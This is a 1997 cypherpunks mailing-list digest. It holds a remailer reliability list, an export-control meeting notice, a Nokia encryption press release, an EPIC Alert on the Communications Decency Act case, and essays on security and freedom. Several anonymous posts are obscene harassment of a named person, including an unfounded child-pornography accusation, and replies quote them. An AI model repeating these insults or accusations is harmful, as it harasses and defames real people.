$remailer{'nym'} = '<config at nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer at huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix at squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman at jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias at alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman at athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config at weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman at cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer at wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer at lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer at hidden.net> cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 17 Mar 97 6:49:18 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer at hidden.net              #+##-+*#####     7:24  99.99%
nym      config at nym.alias.net             +*-+--+--###  1:19:28  99.97%
middle   middleman at jpunix.com              -----+++-+*    52:00  99.86%
balls    remailer at huge.cajones.com        ####+*# ####     9:36  99.78%
dustbin  dustman at athensnet.com            .- --++++.++  1:08:41  99.74%
lucifer  lucifer at dhp.com                   +++ +++*+++    38:51  99.65%
shaman   remailer at lycaeum.org              ++***+*+*+*    19:59  99.62%
jam      remailer at cypherpunks.ca          *** -**** **  1:15:27  98.80%
winsock  winsock at rigel.cyberpass.net      -- .-------   6:27:37  98.70%
cyber    alias at alias.cyberpass.net        ****+**+ - +  1:03:14  98.67%
weasel   config at weasel.owl.de             +++..-+++++   2:41:25  98.61%
mix      mixmaster at remail.obscura.com     __ _ -_     124:55:44  98.41%
exon     remailer at remailer.nl.com           #  #*#* ##  1:07:00  98.32%
extropia remail at miron.vip.best.com        -.--.-.-_.   21:02:43  98.12%
squirrel mix at squirrel.owl.de               _ . ++++++  11:12:16  93.46%
reno     middleman at cyberpass.net          .*  -* *  -   1:06:39  92.46%
haystack haystack at holy.cow.net             ### ##   +   1:04:07  90.89%
replay   remailer at replay.com              +**--+-+*       38:44  75.55%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From jya at pipeline.com  Mon Mar 17 06:51:41 1997
From: jya at pipeline.com (John Young)
Date: Mon, 17 Mar 1997 06:51:41 -0800 (PST)
Subject: Crypto and Wassenaar Meeting
Message-ID: <1.5.4.32.19970317144414.0074cdec@pop.pipeline.com>


DEPARTMENT OF COMMERCE
 
Transportation and Related Equipment Technical Advisory 
Committee; Partially Closed Meeting

    A meeting of the Transportation and Related Equipment Technical 
Advisory Committee will be held March 18, 1997, 9 a.m., in the Herbert 
C. Hoover Building, Room 1617M(2), 14th Street between Constitution & 
Pennsylvania Avenues, NW., Washington, DC. The Committee advises the 
Office of the Assistant Secretary for Export Administration with 
respect to technical questions that affect the level of export controls 
applicable to transportation and related equipment or technology.

General Session

    1. Opening remarks by the Chairman.

    2. Presentation of public papers or comments.

    3. Report on the status of the Wassenaar Arrangement: 
implementation, List Review schedule, and reporting status.

    4. Report on the status of the encryption regulations.

    5. Update on the Missile Technology Control Regime.

    6. Discussion of commercial communications satellite and ``hot 
section'' technology regulations, in particular the status of the fuels 
issue.

Closed Session

    7. Discussion of matters properly classified under Executive Order 
12958, dealing with the U.S. export control program and strategic 
criteria related thereto.

    The General Session of the meeting will be open to the public and a 
limited number of seats will be available. To the extent time permits, 
members of the public may present oral statements to the Committee. 
Written statements may be submitted at any time before or after the 
meeting. 






From Ari.Hypponen at DataFellows.com  Mon Mar 17 07:27:56 1997
From: Ari.Hypponen at DataFellows.com (Ari Hypponen)
Date: Mon, 17 Mar 1997 07:27:56 -0800 (PST)
Subject: Data Fellows and Nokia Secure Wireless Corporate Intranet Access
Message-ID: <3.0.32.19970317165909.009cb380@datafellows.com>


March 17, 1997

Data Fellows and Nokia Secure Wireless Corporate Intranet Access
- Improved security enables GSM operators to connect Intranets

(Hannover, March 17, 1997) Data Fellows and Nokia Telecommunications have
signed an agreement to integrate Data Fellows' award winning F-Secure VPN
encryption software into Nokia's Artus wireless data networking
solutions. The Nokia Artus solution enables GSM operators to offer secure
corporate Intranet solutions, without the requirement of using costly
leased lines to reach their corporate customers.

"Weakness of remote access security has discouraged remote access to
corporate networks. In partnership with Data Fellows we can now provide GSM
operators with an IP networking solution which meets the strict security
requirements of corporate IT managers. This means new business for GSM
networks," said Petri P�yh�nen, Vice President, Wireless Data Server
Systems at Nokia Telecommunications.

"Intranet remote access outsourced to GSM operators represents an important
market restructuring. In the context of Nokia's Artus Managed Internet
Access Point (IAP) networking solution, we can see immediate potential of
leveraging our encryption technology already widely used for LAN
interconnect," said Risto Siilasmaa, Managing Director at Data Fellows.

Data Fellows' F-Secure VPN encrypts and compresses TCP/IP packets
transmitted over public data networks to private corporate networks.
Military-strength cryptographic security of F-Secure VPN prevents
malicious access to the transferred information. Encryption is implemented
at transport layer and is thus transparent for applications.

A major business potential for wireless operators is to further extend
corporate Intranets to the world of wireless coverage. This enables
businesses to increase their efficiency by ensuring their staff secure,
wireless connectivity to their e-mail, groupware and corporate database
resources.

Remote access to corporate data resources has been traditionally
implemented in corporate premises with dial-in modems. Corporate IT can 
now outsource this costly telecom access technology to GSM operators and
operate in a clean IP protocol environment. Remote access becomes as 
simple as LAN interconnect.

In the interest of future market compatibility, Data Fellows and Nokia are
both committed to following the emerging open IP security standards.

Data Fellows is a software development company with offices in San Jose,
California, and Helsinki, Finland. Data Fellows is a technology leader in
its major business areas of anti-virus, data security and cryptography
software.

F-secure products have won several awards over the past several months.
These have included the HOT Product 1997 Award from Data Communication
magazine, Best New Networking Product from LAN Magazine and the Grand Award
in the European IT Prize competition.

Data Fellows is privately held. Annual growth in net sales has been over
100% since the company was founded in 1988.

Nokia is a Finland-based telecommunications group with a net sales of USD
8.5 billion in 1996. Nokia has approximately 31,000 employees world-wide.
Nokia is one of the two largest GSM/DCS suppliers in the world and the
leader in wireless data solutions. Nokia Telecommunications' Information
Networking Systems division develops, implements, and markets systems based
on Internet technologies to telecommunications operators.


For more information, please contact:

Mr. Jukka Kotovirta, Data Fellows Ltd.
Tel. int. +358 40 588 3933, e-mail: jukka.kotovirta at datafellows.com

Mr. Heikki Koskinen, Nokia Telecommunications
Tel. int. +358 40 502 7967, e-mail: heikki.koskinen at ntc.nokia.com

Ms. Arja Suominen, Nokia Telecommunications
Tel. int. +358 9 511 38193, e-mail: arja.suominen at ntc.nokia.com

Internet:   http://www.datafellows.com/    http://ntc.nokia.com/


--
Ari.Hypponen at DataFellows.com, World-Wide Web http://www.DataFellows.com






From real at freenet.edmonton.ab.ca  Mon Mar 17 08:27:38 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 17 Mar 1997 08:27:38 -0800 (PST)
Subject: Diffie-Hellman
In-Reply-To: <199703171008.FAA13401@dhp.com>
Message-ID: <Pine.A41.3.95.970317092310.89124D-100000@fn2.freenet.edmonton.ab.ca>


On Mon, 17 Mar 1997, lucifer Anonymous Remailer wrote:

> Date: Mon, 17 Mar 1997 05:08:11 -0500
> From: lucifer Anonymous Remailer <lucifer at dhp.com>
> To: cypherpunks at toad.com
> Subject: Diffie-Hellman
> 
> your penis.
> 
>           ,,,
>          ($ $)
>      -ooO-(_)-Ooo- Timmy C[unt] May
> 
>From the perverted mind of Vulis.

        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From real at freenet.edmonton.ab.ca  Mon Mar 17 08:30:25 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 17 Mar 1997 08:30:25 -0800 (PST)
Subject: your mail
In-Reply-To: <199703170930.BAA00616@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970317092553.89124F-100000@fn2.freenet.edmonton.ab.ca>


On Mon, 17 Mar 1997, Mix wrote:

> Date: Mon, 17 Mar 1997 01:30:49 -0800 (PST)
> From: Mix <mixmaster at remail.obscura.com>
> To: cypherpunks at toad.com
> 
> Timmy C[retin] Mayo's obsessive masturbation has lead to 
> advanced degree of blindness and hairy palms.
> 
>               __MMM__
>                (o o)
>          -ooO---(=)---Ooo- Timmy C[retin] Mayo
> 
Vulis stay off the list.

        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From real at freenet.edmonton.ab.ca  Mon Mar 17 08:32:21 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 17 Mar 1997 08:32:21 -0800 (PST)
Subject: your mail
In-Reply-To: <199703171056.CAA18972@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970317092751.89124G-100000@fn2.freenet.edmonton.ab.ca>


On Mon, 17 Mar 1997, Mix wrote:

> Date: Mon, 17 Mar 1997 02:56:28 -0800 (PST)
> From: Mix <mixmaster at remail.obscura.com>
> To: cypherpunks at toad.com
> 
> Embedded in Timmy C. May's babblings are preposterous lies, 
> wild distortions, child pornography (both as graphic 
> descriptions and in JPEG format), ethnic slurs, and racial 
> epithets.
> 
>     /o)\ Timmy C. May
>     \(o/
> 
Time for your pills Vulis.

        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From jya at pipeline.com  Mon Mar 17 10:11:13 1997
From: jya at pipeline.com (John Young)
Date: Mon, 17 Mar 1997 10:11:13 -0800 (PST)
Subject: Internet Tax Freedom Act
Message-ID: <1.5.4.32.19970317180343.006cb6b8@pop.pipeline.com>


The Internet Tax Freedom Act
Introduced in the Senate March 13, 1997

By Senator Wyden (for himself and Senator Kerry):

S. 442. A bill to establish a national policy against State 
and local government interference with interstate commerce on 
the Internet or interactive computer services, and to 
exercise Congressional jurisdiction over interstate commerce 
by establishing a moratorium on the imposition of exactions 
that would interfere with the free flow of commerce via the 
Internet, and for other purposes; to the Committee on 
Commerce, Science, and Transportation.

See bill, Wyden's statements and section-by-section analysis at:

   http://jya.com/s442.htm






From haystack at holy.cow.net  Mon Mar 17 11:23:10 1997
From: haystack at holy.cow.net (Bovine Remailer)
Date: Mon, 17 Mar 1997 11:23:10 -0800 (PST)
Subject: No Subject
Message-ID: <199703171921.OAA29596@holy.cow.net>


Tim C[unt] May's IQ is lower than the 
belly of a pregnant snake.

              <<<<
             o(0-0)o
          -ooO-(_) Ooo-- Tim C[unt] May






From mixmaster at remail.obscura.com  Mon Mar 17 12:16:40 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Mon, 17 Mar 1997 12:16:40 -0800 (PST)
Subject: No Subject
Message-ID: <199703171843.KAA00592@sirius.infonex.com>


Timmy May's IQ is lower than the belly of a pregnant snake.

         /\**/\
        ( o_o  )_) Timmy May
        ,(u  u  ,),
       {}{}{}{}{}{}






From real at freenet.edmonton.ab.ca  Mon Mar 17 13:39:26 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 17 Mar 1997 13:39:26 -0800 (PST)
Subject: your mail
In-Reply-To: <199703171921.OAA29596@holy.cow.net>
Message-ID: <Pine.A41.3.95.970317143443.57696A-100000@freenet.edmonton.ab.ca>


On Mon, 17 Mar 1997, Bovine Remailer wrote:

Vulis time for your pills.


> Tim C[unt] May's IQ is lower than the 
> belly of a pregnant snake.
> 
>               <<<<
>              o(0-0)o
>           -ooO-(_) Ooo-- Tim C[unt] May
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From dlv at bwalk.dm.com  Mon Mar 17 13:40:59 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Mar 1997 13:40:59 -0800 (PST)
Subject: Musings on the NYTimes article on computer security
Message-ID: <6Baq4D1w165w@bwalk.dm.com>


I liked "linux, a shareware program that is the operating system of choice
for hackers" and the "wide availability of tools for .. 'fingering'".

This reminded me how a couple of years ago I had a long phone conversation
with a journalist from the Washington Post who was convinced (by a certain
idiot from Usenet) that I'm running a hacker BBS. He kept asking me why its
not possible to finger anyone @dm.com. I explained that we're behind a dial-up
uucp connection, not tcp/ip - it was like talking to a wall. "Why are you
hiding behind this, ahem, ucp? What have you got to hide?" I pointed out that
one can't finger anyone @twp.com either - he didn't believe me and promised to
check. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From real at freenet.edmonton.ab.ca  Mon Mar 17 13:42:14 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 17 Mar 1997 13:42:14 -0800 (PST)
Subject: your mail
In-Reply-To: <199703171843.KAA00592@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970317143817.57696B-100000@freenet.edmonton.ab.ca>


On Mon, 17 Mar 1997, Mix wrote:

Bad day Vulis.
> Timmy May's IQ is lower than the belly of a pregnant snake.
> 
>          /\**/\
>         ( o_o  )_) Timmy May
>         ,(u  u  ,),
>        {}{}{}{}{}{}
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From Banisar at epic.org  Mon Mar 17 14:32:53 1997
From: Banisar at epic.org (Dave Banisar)
Date: Mon, 17 Mar 1997 14:32:53 -0800 (PST)
Subject: EPIC Alert 4.04 (CDA on Trial)
Message-ID: <v03020903af5375c96a7b@[204.91.138.227]>



   =============================================================

       @@@@  @@@@  @@@  @@@@      @    @     @@@@  @@@@  @@@@@
       @     @  @   @   @        @ @   @     @     @  @    @
       @@@@  @@@    @   @       @@@@@  @     @@@   @@@     @
       @     @      @   @       @   @  @     @     @  @    @
       @@@@  @     @@@  @@@@    @   @  @@@@  @@@@  @   @   @

   ==============================================================
   Volume 4.04	                                  March 17, 1997
   --------------------------------------------------------------

                            Published by the
              Electronic Privacy Information Center (EPIC)
                            Washington, D.C.

                          http://www.epic.org/

                  ** SPECIAL ISSUE: THE CDA ON TRIAL **

=======================================================================
Table of Contents
=======================================================================

[1] Reno v. ACLU: The Communications Decency Act on Trial
[2] Background on the Litigation
[3] EPIC Statement on Supreme Court Argument
[4] The CDA and International Censorship
[5] EPIC Bookstore: First Amendment Reading
[6] Upcoming Conferences and Events

=======================================================================
[1] Reno v. ACLU: The Communications Decency Act on Trial
=======================================================================

On March 19, the United States Supreme Court will hear oral argument
in Reno v. ACLU, the first case to address the issue of free speech in
cyberspace.  The legal challenge to the Communications Decency Act was
initiated by the ACLU, EPIC and other organizations last February.
The high court's consideration of the case is likely to produce a
landmark constitutional decision, which is expected by July.

Immediately following the oral argument, the Reno v. ACLU plaintiffs
and lawyers will hold a news conference to offer in-depth analysis and
commentary (approximately 11:30 a.m. ET).  The event will be cybercast
live via RealAudio on the World Wide Web.

Links to the cybercast will be available at:

     http://www.epic.org/cda/

          and

     http://www.aclu.org/issues/cyber/trial/appeal.html

=======================================================================
[2] Background on the Litigation
=======================================================================

The Communications Decency Act passed Congress last February as part
of an omnibus telecommunications reform bill.  The CDA makes it a
crime, punishable by up to two years in jail and/or a $250,000 fine,
for anyone to engage in speech that is "indecent" or "patently
offensive" on computer networks if the speech can be accessed or
viewed by a minor.  The American Civil Liberties Union, joined by EPIC
and 18 other plaintiffs, filed its legal challenge to the Act on
February 8, 1996, the day it was signed into law by President Clinton.
Several weeks later, a second challenge was filed by nearly 30
plaintiffs, led by the American Library Association. That suit, known
as ALA v. DOJ, was subsequently consolidated with the ACLU case.
Although the two cases are consolidated and the legal teams have
worked together, each plaintiff group has filed separate briefs
throughout the litigation.

A three-judge panel in Philadelphia was appointed to hear the
plaintiffs' motion for preliminary injunction, and five days of
hearings were scheduled during March and April of last year.  The
panel consisted of Chief Judge Dolores K. Sloviter, Judge Stewart
Dalzell, and Judge Ronald L. Buckwalter. The proceedings included five
days of live testimony, written testimony, documentary evidence, and
detailed stipulations about the nature of the Internet.  On June 12,
the court issued a preliminary injunction barring the government from
enforcing the challenged provisions of the CDA.  The opinion makes
clear that the lower court agreed with the plaintiffs' view that the
CDA's ill-conceived effort to censor speech in the unique medium of
cyberspace violates the First Amendment.

On December 6, the Supreme Court noted probable jurisdiction in the
government's appeal of the lower court decision.  The government filed
its brief on January 21; the plaintiffs' briefs were filed on February
20. Eleven amicus ("friend of the court") briefs were also filed in
support of the plaintiffs (several of which are available online).
The government filed its reply brief on March 7.  The Supreme Court
will hear oral arguments for one hour, with the time divided equally
between the two sides.  Plaintiffs will be represented by Bruce J.
Ennis; the government by Seth Waxman of the Solicitor General's
office.

==================================================================
[3] EPIC Statement on Supreme Court Argument
==================================================================

             Supreme Court Internet Decision Will Have a
             Profound Impact on Individual Privacy Rights

March 19, 1997
Washington, DC

Contact: David Sobel, EPIC Legal Counsel 202/544-9240
         http://www.epic.org/cda/

The U.S. Supreme Court's consideration of Reno v. ACLU sets the stage
for a decision of historic significance, one that will establish a
constitutional framework for reviewing government regulation of the
Internet.  The issues extend beyond the Communications Decency Act and
go to the very essence of the information infrastructure.   The
Electronic Privacy Information Center (EPIC) has consistently stressed
both the free speech and the privacy implications of the case since
joining with the American Civil Liberties Union in challenging this
ill-advised and unconstitutional attempt to impose governmental
content regulation on emerging global electronic media. EPIC is
participating in the litigation as both plaintiff and co-counsel.

As the three-judge panel in Philadelphia recognized, the legislation's
vague "indecency" standard will have an obvious impact upon the free
speech rights of millions of Americans who use computer networks to
receive and distribute information. Less apparent is the assault on
privacy rights that the legislation, if upheld, will engender.

To avoid potential criminal liability under the CDA's "indecency"
provision, information providers would, in effect, be required to
verify the identities and ages of all recipients of material that
might be deemed inappropriate for children.  If upheld, the statutory
regime would thus result in the creation of "registration records" for
tens of thousands of Internet sites, containing detailed descriptions
of information accessed by particular recipients.  These records would
be accessible to law enforcement agencies and prosecutors
investigating alleged violations of the statute.  Such a regime would
constitute a gross violation of Americans' rights to access
information privately and anonymously.

Two years ago, the Supreme Court upheld the right to anonymous speech
in McIntyre v. Ohio Elections Commission.  EPIC believes that the
Court's rationale in that case applies with even greater force to the
Internet "indecency" provisions now under review.  The Court noted in
McIntyre that

     The decision in favor of anonymity may be motivated by fear
     of economic or official retaliation, by concern about social
     ostracism, or merely by a desire to preserve as much of one's
     privacy as possible. ...

     Anonymity is a shield from the tyranny of the majority. It
     thus exemplifies the purpose behind the Bill of Rights, and
     of the First Amendment in particular: to protect unpopular
     individuals from retaliation -- and their ideas from
     suppression -- at the hand of an intolerant society.

Whether the millions of individuals visiting sites on the Internet are
seeking information on teenage pregnancy, AIDS and other sexually
transmitted diseases, classic works of literature or avant-garde
poetry, they enjoy a Constitutional right to do so privately and
anonymously.  The Communications Decency Act seeks to destroy that
right.  If upheld, the CDA would render the Internet not only the most
censored communications medium, but also the most heavily monitored.

EPIC is confident that upon review of the legislation and its impact
upon free speech and privacy rights in emerging electronic media, the
Supreme Court will affirm the lower court decision invalidating the
CDA as fundamentally at odds with the Constitution.

=======================================================================
[4] The CDA and International Censorship
=======================================================================

Following the passage of the CDA in the United States, dozens of other
countries followed suit and imposed restrictions on Internet content,
citing the CDA as justification for their efforts at censorship.  In
many countries, the legal bans cover a broad range of material,
including news services and political discussions.  Not surprisingly,
Singapore has played a leading role in restricting Net content.
According to the U.S. State Department's description of Singaporean
law, "access to web pages that undermine public security, national
defense, racial and religious harmony, and public morals is banned. In
addition, content that tends to bring the Government into hatred or
contempt, or that excites disaffection against the Government is
forbidden."  In China, human rights groups critical of the govern-
ment's record  are "filtered," as are many U.S. newspapers. With the
help of Bay Networks, an American company, China is setting up its own
Intranet that will not permit the online distribution of critical
material. Arab countries met in Dubai last October to discuss setting
up an Arab Intranet where political discussion could be banned.  The
European Union and the OECD are currently discussing Internet content
restrictions.

In response to these trends, the Parliamentary Human Rights Foundation
recently convened a meeting in Brussels to draft "Open Internet Policy
Principles."  Among the consensus principles is a strong statement in
support of freedom of expression:

     There should be no regulation of Internet content by
     government. We understand the fundamental rights of freedom
     of expression, as embodied in Art. 19 of the Universal
     Declaration of Human Rights ("Everybody has the right ...
     to seek, receive and impart information and ideas through
     any media and regardless of frontiers" ) and in Art. 19(2)
     of the International Covenant on Civil and Political Rights
     ("Everyone shall have the right to freedom of expression;
     this right shall include freedom to seek, receive and impart
     information and ideas of all kinds, regardless of frontiers,
     either orally, in writing or in print, in the form or art or
     through any other media of his choice") -- to apply with full
     force to Internet communication.

The full text of the Open Internet Policy Principles is available at:

     http://www.phrf.org/conference

Free speech and human rights advocates from around the world have
joined together in the Global Internet Liberty Campaign to fight these
restrictions.  Members include EPIC, ACLU, Human Rights Watch, and
groups from around the world.  More information on GILC is available
at:

     http://www.gilc.org

Other information on international censorship efforts is available
from the Fight Censorship list archives at:

    http://www.eff.org/~declan/global/

=======================================================================
[5] EPIC Bookstore: First Amendment Reading
=======================================================================

The EPIC Bookstore offers a wide range of books on civil liberties,
privacy, and on-line freedom.  With the Communications Decency Act
being argued before the Supreme Court this week, we are featuring four
titles that look at the history, technology, policy and practice
behind the First Amendment:

* Make No Law: The Sullivan Case and the First Amendment by Anthony
Lewis -- Few cases have done more to shape the First Amendment than
this historic decision.

* Technologies of Freedom by Ithiel De Sola Pool -- One of the early
works on why regulating speech in cyberspace is a bad idea.

* Intellectual Freedom Manual by The Office for Intellectual Freedom,
American Library Association -- Good advice for protecting freedom in
the on-line world.

* Censored: The News That Didn't Make the News-And Why: The 1995
Project Censored Yearbook by Carl Jensen -- Sometimes it's the press
and not government that keeps important stories under wraps. Here's
what the big shots missed in 1995.

We also have an extensive collection of other titles on freedom of
expression.  Visit the EPIC Bookstore and celebrate the First
Amendment with a good book on free speech!  It can be found at:

     http://www.epic.org/bookstore/

=======================================================================
[6] Upcoming Conferences and Events
=======================================================================

Eurosec'97: the Seventh Annual Forum on Information Systems Quality
and Security. March 17 - 19, 1997. Paris, France. Sponsored by XP
Conseil. Contact: http://ourworld.compuserve.com/homepages/eurosec/

CyberRights Congress. March 20-21, 1997. Washington, DC. Sponsored by
the First Amendment Congress.  Contact:
http://www.oklahoman.net/connections/congress/

Culture and Democracy revisited in the Global Information Society.
May 8 - 10, 1997. Corfu, Greece. Sponsored by IFIP-WG9.2/9.5. Contact:
http://www.math.aegean.gr/english/eevents/econf/ecnew/ewc97.htm

CYBER://CON.97: Rules for Cyberspace?:Governance, Standards and
Control. June 4 - 7, 1997. Chicago, Illinois. Sponsored by the John
Marshall Law School. Contact: cyber97 at jmls.edu.

Ethics in the Computer Society: The Second Annual Ethics and
Technology Conference. June 6 - 7, 1997. Chicago, Ill. Sponsored by
Loyola University Chicago. http://www.math.luc.edu/ethics97

Public Workshop on Consumer Privacy. June 10-13, 1997. Washington, DC.
Sponsored by the Federal Trade Commission. Contact:
http://www.ftc.gov/os/9703/privacy.htm

INET 97 -- The Internet: The Global Frontiers. June 24-27, 1997. Kuala
Lumpur, Malaysia. Sponsored by the Internet Society. Contact:
inet97 at isoc.org or http://www.isoc.org/inet97

Privacy laws & Business 10th Anniversary Conference. July 1-3, 1997.
St. John's College, Cambridge, England. Contact:
info at privacylaws.co.uk.

AST3: Cryptography and Internet Privacy. Sept. 15, 1997. Brussels,
Belgium. Sponsored by Privacy International and EPIC. Contact:
pi at privacy.org. http://www.privacy.org/pi/conference/brussels/

19th Annual International Privacy and Data Protection Conference.
Sept. 17-18, 1997. Brussels, Belgium. Sponsored by Belgium Data
Protection and Privacy Commission.

International Conference on Privacy. September 23-26, 1997. Montreal,
Canada. Sponsored by the Commission d'Acces a l'information du Quebec.

Managing the Privacy Revolution '97. October 21-23, 1997. Washington,
DC. Sponsored by Privacy and American Business. Contact:
http://shell.idt.net/~pab/conf97.html


(Send calendar submissions to alert at epic.org)

=======================================================================

The EPIC Alert is a free biweekly publication of the Electronic
Privacy Information Center.  To subscribe, send email to
epic-news at epic.org with the subject: "subscribe" (no quotes) or use
the subscription form at:

      http://www.epic.org/alert/subscribe.html

Back issues are available at:

      http://www.epic.org/alert/

=======================================================================

The Electronic Privacy Information Center is a public interest
research center in Washington, DC.  It was established in 1994 to
focus public attention on emerging privacy issues such as the Clipper
Chip, the Digital Telephony proposal, national ID cards, medical
record privacy, and the collection and sale of personal information.
EPIC is sponsored by the Fund for Constitutional Government, a
non-profit organization established in 1974 to protect civil liberties
and constitutional rights.  EPIC publishes the EPIC Alert, pursues
Freedom of Information Act litigation, and conducts policy research.
For more information, email info at epic.org, HTTP://www.epic.org or
write EPIC, 666 Pennsylvania Ave., SE, Suite 301, Washington, DC
20003. +1 202 544 9240 (tel), +1 202 547 5482 (fax).

If you'd like to support the work of the Electronic Privacy
Information Center, contributions are welcome and fully
tax-deductible.  Checks should be made out to "The Fund for
Constitutional Government" and sent to EPIC, 666 Pennsylvania Ave.,
SE, Suite 301, Washington DC 20003. Individuals with First Virtual
accounts can donate at http://www.epic.org/epic/support.html

Your contributions will help support Freedom of Information Act and
First Amendment litigation, strong and effective advocacy for the
right of privacy and efforts to oppose government regulation of
encryption and funding of the National Wiretap Plan.

Thank you for your support.

---------------------- END EPIC Alert 4.04 -----------------------


=========================================================================
David Banisar (Banisar at epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003
PGP Key: http://www.epic.org/staff/banisar/key.html
=========================================================================







From mixmaster at remail.obscura.com  Mon Mar 17 14:46:44 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Mon, 17 Mar 1997 14:46:44 -0800 (PST)
Subject: No Subject
Message-ID: <199703172040.MAA23689@sirius.infonex.com>


Tim Mayflower's family tree goes straight 
up. All of his ancestors were siblings, to 
dumb to recognize each other in the dark.

     o o Tim Mayflower
      o
     \_/






From ichudov at algebra.com  Mon Mar 17 18:33:41 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 17 Mar 1997 18:33:41 -0800 (PST)
Subject: Technology and loss of freedom
Message-ID: <199703180220.UAA09325@manifold.algebra.com>


Hi,

I have a thesis that it is the development of technology that has, over
the last 100 years, eroded the basis for and appreciation of human
freedom.  Technology has also done precious little for advancing human
freedoms (although cryptography may be an exception).

Let's first define freedom as the ability of people to do things without
forceful interference from the government. This is an arbitrary
definition, but it appears to be useful for the analysis below.

First of all, 200 years ago it was very hard for lone people to endanger
lives of themselves and many others. For example, the only weapons that
were available were single shot and double shot rifles that were very
slow to reload. Similarly, people did not have fast moving vehicles and
any traffic did not present serious danger for innocent bystanders.

Poison gases were not available, and the explosives technology
was far less advanced. Even if it was possible to set up a large
explosion, limitations in building construction made them useless.

"Hard drugs" also became available only in the recent past [please 
correct me] due to advancements in chemistry and medicine.

You can well imagine that airline terrorism could not appear before 
airlines.

No doubt that I only touched upon a very small percentage of newly
existent dangers that are created by the technology.

At the same time, developments in technology made it easy to spy on and
brainwash citizens. TV, which is the ultimate brainwashing machine, came
in play only very recently. The wiretapping is new also. It is the
remoteness feature of "bugs" that made spying so much cheaper than
hiring "stukachi" -- snitches.

If you ride a horse, there is no perceived need for an airbag or a
mandatory horse insurance. If all houses are 1 story tall, nobody is afraid
of an OK City type explosion.

With the advent of technology, the balance of perceived social needs and
government capabilities shifted radically, and it shifted away from the
great freedoms of the past. The public perception of freedom now is that
freedom is inherently dangerous and is a threat to the public itself.

Is that an evil CoNspiRaCY of purebred sovoks and Zion agents or it is a
natural consequence of inventions that dramatically changed the place of
the man in the world? I am not sure.

	- Igor.



